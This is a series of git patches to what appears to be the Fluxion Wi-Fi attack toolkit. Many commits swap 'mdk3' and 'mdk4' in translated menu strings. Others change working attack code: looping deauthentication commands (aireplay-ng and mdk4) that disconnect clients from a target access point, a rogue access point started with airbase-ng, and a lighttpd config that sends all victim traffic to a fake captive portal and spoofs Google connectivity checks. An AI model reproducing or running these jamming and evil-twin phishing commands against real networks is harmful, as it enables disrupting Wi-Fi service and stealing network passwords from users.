Snooper/language/ro.sh +++ b/attacks/Handshake Snooper/language/ro.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From c2c2615ae3856df6cf0c15adacf152acabeb2028 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:06:14 +0500 Subject: [PATCH 22/76] Update ru.sh --- attacks/Handshake Snooper/language/ru.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ru.sh b/attacks/Handshake Snooper/language/ru.sh index e7bc702..5639d34 100755 --- a/attacks/Handshake Snooper/language/ru.sh +++ b/attacks/Handshake Snooper/language/ru.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия" HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)" HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)" -HandshakeSnooperMdk4MethodOption="Деаутентификация с mdk4 (${CRed} агрессивный $CClr)" +HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?" HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})." From db321aa8c8037881a162949c6d85b76553159839 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:06:24 +0500 Subject: [PATCH 23/76] Update sk.sh --- attacks/Handshake Snooper/language/sk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sk.sh b/attacks/Handshake Snooper/language/sk.sh index c446031..13709ba 100755 --- a/attacks/Handshake Snooper/language/sk.sh +++ b/attacks/Handshake Snooper/language/sk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Vyberte metódu získania 'handshake'" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ako často sa má kontrolovať 'handshake'?" HandshakeSnooperVerifierInterval30SOption="Každých 30 sekúnd (${CGrn}odporúčané${CClr})." From 829d2a4c2a1dfb939b682c2c32a21faf433cb25c Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:06:46 +0500 Subject: [PATCH 24/76] Update sl.sh --- attacks/Handshake Snooper/language/sl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sl.sh b/attacks/Handshake Snooper/language/sl.sh index 663e7f7..a1c3e6b 100755 --- a/attacks/Handshake Snooper/language/sl.sh +++ b/attacks/Handshake Snooper/language/sl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From b8b4631987ebffa7db408a7131a65e31764f9068 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:07:06 +0500 Subject: [PATCH 25/76] Update tk.sh --- attacks/Handshake Snooper/language/tk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/tk.sh b/attacks/Handshake Snooper/language/tk.sh index c643ad0..9648e84 100755 --- a/attacks/Handshake Snooper/language/tk.sh +++ b/attacks/Handshake Snooper/language/tk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="İzleme ve jamming için bir arayüz seçi HandshakeSnooperMethodQuery="Tokalasma edinme methodu seciniz" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasif$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresif$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agresif$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Doğrulayıcı ne sıklıkta bir tokalasma için kontrol etmeli?" HandshakeSnooperVerifierInterval30SOption="Her 30 saniyede (${CGrn}tavsıye edilen${CClr})." From 9c1c6794e863b36ee54a5ec9a51a753472eadea5 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 1 Aug 2019 13:07:19 +0500 Subject: [PATCH 26/76] Update zh.sh --- attacks/Handshake Snooper/language/zh.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/zh.sh b/attacks/Handshake Snooper/language/zh.sh index 5b16f61..8e195a6 100755 --- a/attacks/Handshake Snooper/language/zh.sh +++ b/attacks/Handshake Snooper/language/zh.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="选择一个用于监控和干扰的接口 HandshakeSnooperMethodQuery="选择一种方式来检查握手包获取状态" HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" -HandshakeSnooperMdk4MethodOption="mdk4 解除认证方式 (${CRed}侵略性$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包" HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})." From 321b62593958049422d8952026fd8e6971baa6f5 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Mon, 5 Aug 2019 07:50:32 +0500 Subject: [PATCH 27/76] Update attack.sh --- attacks/Captive Portal/attack.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 49b7404..29012f0 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -725,7 +725,7 @@ index-file.names = ( # Respond with Google's captive response on certain domains. # Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com -\$HTTP[\"host\"] == \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { +\$HTTP[\"host\"] =~ \"asdf\" { server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } From 7246295795a6339281ab9a8975df89cf473d0ffd Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Tue, 13 Aug 2019 09:45:32 +0500 Subject: [PATCH 28/76] fix dhcp not assigning ip --- lib/ap/airbase-ng.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh index 397fada..805d6e2 100755 --- a/lib/ap/airbase-ng.sh +++ b/lib/ap/airbase-ng.sh @@ -72,7 +72,7 @@ function ap_service_start() { xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \ -title "FLUXION AP Service [airbase-ng]" -e \ - airbase-ng -P -e $APServiceSSID -c $APServiceChannel \ + airbase-ng -y -e $APServiceSSID -c $APServiceChannel \ -a $APServiceMAC $APServiceInterface & local parentPID=$! @@ -81,7 +81,7 @@ function ap_service_start() { sleep 1 APServicePID=$(pgrep -P $parentPID) done - + eval ifconfig at0 192.168.254.1 ap_service_route } From e90db2b97d81484cffdd2f0e0c4d5af5c50b091b Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sun, 1 Sep 2019 08:40:58 +0500 Subject: [PATCH 29/76] Add files via upload --- attacks/Captive Portal/attack.sh | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 29012f0..a347110 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -699,9 +699,7 @@ static-file.exclude-extensions = ( ) index-file.names = ( - \"index.htm\", - \"index.html\", - \"index.php\" + \"redirect.html\" ) " >"$FLUXIONWorkspacePath/lighttpd.conf" @@ -733,10 +731,10 @@ index-file.names = ( else echo "\ # Redirect all traffic to the captive portal when not emulating a connection. -\$HTTP[\"host\"] != \"captive.gateway.lan\" { - url.redirect-code = 307 +\$HTTP[\"host\"] != \"redirect.html\" { + url.redirect-code = 200 url.redirect = ( - \"^/(.*)\" => \"http://captive.gateway.lan/\", + \"^/(.*)\" => \"http://redirect.html/\", ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" @@ -1101,6 +1099,17 @@ captive_portal_generic() { " >"$FLUXIONWorkspacePath/captive_portal/error.html" +echo "\ + + + Redirecting to Captive Portal + + + +

Please wait, refreshing. If page does not refresh, click here to login.

+ +" >"$FLUXIONWorkspacePath/captive_portal/redirect.html" + echo "\ @@ -1499,7 +1508,7 @@ start_attack() { "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & # Save parent's pid, to get to child later. CaptivePortalDNSServiceXtermPID=$! - + echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \ &> $FLUXIONOutputDevice From 345d409daaf1cf996dc3bb4985110366decfd76a Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 2 Sep 2019 07:33:11 +0500 Subject: [PATCH 30/76] Revert "Add files via upload" This reverts commit e90db2b97d81484cffdd2f0e0c4d5af5c50b091b. --- attacks/Captive Portal/attack.sh | 23 +++++++---------------- 1 file changed, 7 insertions(+), 16 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index a347110..29012f0 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -699,7 +699,9 @@ static-file.exclude-extensions = ( ) index-file.names = ( - \"redirect.html\" + \"index.htm\", + \"index.html\", + \"index.php\" ) " >"$FLUXIONWorkspacePath/lighttpd.conf" @@ -731,10 +733,10 @@ index-file.names = ( else echo "\ # Redirect all traffic to the captive portal when not emulating a connection. -\$HTTP[\"host\"] != \"redirect.html\" { - url.redirect-code = 200 +\$HTTP[\"host\"] != \"captive.gateway.lan\" { + url.redirect-code = 307 url.redirect = ( - \"^/(.*)\" => \"http://redirect.html/\", + \"^/(.*)\" => \"http://captive.gateway.lan/\", ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" @@ -1099,17 +1101,6 @@ captive_portal_generic() { " >"$FLUXIONWorkspacePath/captive_portal/error.html" -echo "\ - - - Redirecting to Captive Portal - - - -

Please wait, refreshing. If page does not refresh, click here to login.

- -" >"$FLUXIONWorkspacePath/captive_portal/redirect.html" - echo "\ @@ -1508,7 +1499,7 @@ start_attack() { "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & # Save parent's pid, to get to child later. CaptivePortalDNSServiceXtermPID=$! - + echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \ &> $FLUXIONOutputDevice From 67a59708b6686316cd2787dfdfa9e1faaafc7475 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:25:46 +0500 Subject: [PATCH 31/76] Update fluxion.sh --- fluxion.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion.sh b/fluxion.sh index 49dcfba..ea553d6 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -257,7 +257,7 @@ fluxion_startup() { local requiredCLITools=( "aircrack-ng" "bc" "awk:awk|gawk|mawk" "curl" "cowpatty" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" - "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" + "iwconfig:wireless-tools" "macchanger" "mdk4" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc" ) From 6c2a560bf114a029d0a392a255f8d13b9d849e61 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:28:55 +0500 Subject: [PATCH 32/76] revert mdk3 back to mdk4 --- attacks/Handshake Snooper/attack.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 218b430..7822cc6 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -168,8 +168,8 @@ handshake_snooper_start_deauthenticator() { # Prepare deauthenticators case "$HandshakeSnooperDeauthenticatorIdentifier" in - "$HandshakeSnooperMdk3MethodOption") - echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;; + "$HandshakeSnooperMdk4MethodOption") + echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk4_blacklist.lst ;; esac # Start deauthenticators. @@ -180,10 +180,10 @@ handshake_snooper_start_deauthenticator() { "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" & HandshakeSnooperDeauthenticatorPID=$! ;; - "$HandshakeSnooperMdk3MethodOption") + "$HandshakeSnooperMdk4MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ - "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & + "while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk4_blacklist.lst -c $FluxionTargetChannel; done" & HandshakeSnooperDeauthenticatorPID=$! ;; esac @@ -203,7 +203,7 @@ handshake_snooper_set_deauthenticator_identifier() { local methods=( "$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" - "$HandshakeSnooperMdk3MethodOption" + "$HandshakeSnooperMdk4MethodOption" "$FLUXIONGeneralBackOption" ) io_query_choice "$HandshakeSnooperMethodQuery" methods[@] From 1de4363e934d4ba934dd82ba0be5a2c1ec9330cf Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:41:21 +0500 Subject: [PATCH 33/76] Update attack.sh --- attacks/Captive Portal/attack.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 29012f0..7ab8229 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -1415,7 +1415,7 @@ stop_attack() { 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice CaptivePortalJammerServiceXtermPID="" # Clear parent PID fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk4_blacklist.lst" # Kill captive portal web server log viewer. if [ "$CaptivePortalWebServiceXtermPID" ]; then @@ -1511,7 +1511,7 @@ start_attack() { CaptivePortalWebServiceXtermPID=$! echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" - echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" + echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk4_blacklist.lst" if [ $FLUXIONEnable5GHZ -eq 1 ]; then xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ @@ -1523,7 +1523,7 @@ start_attack() { xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk4_blacklist.lst\"" & # Save parent's pid, to get to child later. CaptivePortalJammerServiceXtermPID=$! From 5804d92c101772ee28afe207722d942d4de8e735 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:47:19 +0500 Subject: [PATCH 34/76] Update en.sh --- attacks/Handshake Snooper/language/en.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/en.sh b/attacks/Handshake Snooper/language/en.sh index c116ca1..277a77a 100755 --- a/attacks/Handshake Snooper/language/en.sh +++ b/attacks/Handshake Snooper/language/en.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From cdc97c7f05ddb87ebb376d22704b12450d666d3b Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:47:22 +0500 Subject: [PATCH 35/76] Update el.sh --- attacks/Handshake Snooper/language/el.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/el.sh b/attacks/Handshake Snooper/language/el.sh index a7fcb82..d671f38 100755 --- a/attacks/Handshake Snooper/language/el.sh +++ b/attacks/Handshake Snooper/language/el.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Διαλεξτε μια μεθοδο για την αποκτηση του handshake" HandshakeSnooperMonitorMethodOption="Παρακολουθηση (${CYel}αβλαβης$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng αποσυνδεση (${CRed}επιθετικη$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 αποσυνδεση (${CRed}επιθετικη$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 αποσυνδεση (${CRed}επιθετικη$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ανα ποση ωρα να ελεγχω για το handshake?" HandshakeSnooperVerifierInterval30SOption="Καθε 30 δευτερολεπτα(${CGrn}προτεινομενο${CClr})." From f0554ef65c4e0f17f652160c149c71a0c595f9e4 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:47:24 +0500 Subject: [PATCH 36/76] Update de.sh --- attacks/Handshake Snooper/language/de.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/de.sh b/attacks/Handshake Snooper/language/de.sh index af5f2bc..b4a63a4 100755 --- a/attacks/Handshake Snooper/language/de.sh +++ b/attacks/Handshake Snooper/language/de.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From d4197ec7c6936d8f51fe832f60e3a01a63fdaf92 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:47:27 +0500 Subject: [PATCH 37/76] Update cs.sh --- attacks/Handshake Snooper/language/cs.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/cs.sh b/attacks/Handshake Snooper/language/cs.sh index 20e1515..bdf43f5 100755 --- a/attacks/Handshake Snooper/language/cs.sh +++ b/attacks/Handshake Snooper/language/cs.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Vyberte rozhraní pro monitorování/ruše HandshakeSnooperMethodQuery="Vyberte metodu získání handshaku" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasivní$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresivní$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresivní$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agresivní$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Jak často kontrolovat získání handshaku?" HandshakeSnooperVerifierInterval30SOption="Každých 30 vteřin (${CGrn}doporučeno${CClr})." From 7f54c8da36fbf05e2acce6c9840785a2d3e8523b Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:47:31 +0500 Subject: [PATCH 38/76] Update ar.sh --- attacks/Handshake Snooper/language/ar.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ar.sh b/attacks/Handshake Snooper/language/ar.sh index 6c57932..f6f3af3 100755 --- a/attacks/Handshake Snooper/language/ar.sh +++ b/attacks/Handshake Snooper/language/ar.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="إختر بطاقة شبكة من أجل HandshakeSnooperMethodQuery="إختر طريقة لاسترجاع المصافحة" HandshakeSnooperMonitorMethodOption="مراقبة (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="الغاء المصادقة aireplay-ng (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk3 (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk4 (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="كم مرة يجب على المدقق التحقق من المصافحة؟" HandshakeSnooperVerifierInterval30SOption="كل 30 ثانية (${CGrn}مستحسن${CClr})." From 0d6ee87f2db40b878d5234923cab4289145b0a07 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:49:21 +0500 Subject: [PATCH 39/76] Update pl.sh --- attacks/Handshake Snooper/language/pl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pl.sh b/attacks/Handshake Snooper/language/pl.sh index c116ca1..277a77a 100755 --- a/attacks/Handshake Snooper/language/pl.sh +++ b/attacks/Handshake Snooper/language/pl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 5c9bc9ccbae2b2bd723f60ab4bb0efa20b79b0a2 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:49:25 +0500 Subject: [PATCH 40/76] Update nl.sh --- attacks/Handshake Snooper/language/nl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/nl.sh b/attacks/Handshake Snooper/language/nl.sh index 17ea0ef..73fa978 100755 --- a/attacks/Handshake Snooper/language/nl.sh +++ b/attacks/Handshake Snooper/language/nl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Selecteer een interface voor monitoring & HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agressief$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agressief$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agressief$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Hoe vaak moet er gecontrollerd worden voor een handshake?" HandshakeSnooperVerifierInterval30SOption="Elke 30 seconden (${CGrn}aangeraden${CClr})." From 3c0531639dd44534caf6490735c3cf45270ca13b Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:49:27 +0500 Subject: [PATCH 41/76] Update it.sh --- attacks/Handshake Snooper/language/it.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/it.sh b/attacks/Handshake Snooper/language/it.sh index 65f7289..1540a64 100755 --- a/attacks/Handshake Snooper/language/it.sh +++ b/attacks/Handshake Snooper/language/it.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Seleziona il metodo di scoperta dell'handshake" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passivo$CClr)" HandshakeSnooperAireplayMethodOption="deautenticazione aireplay-ng (${CRed}aggressivo$CClr)" 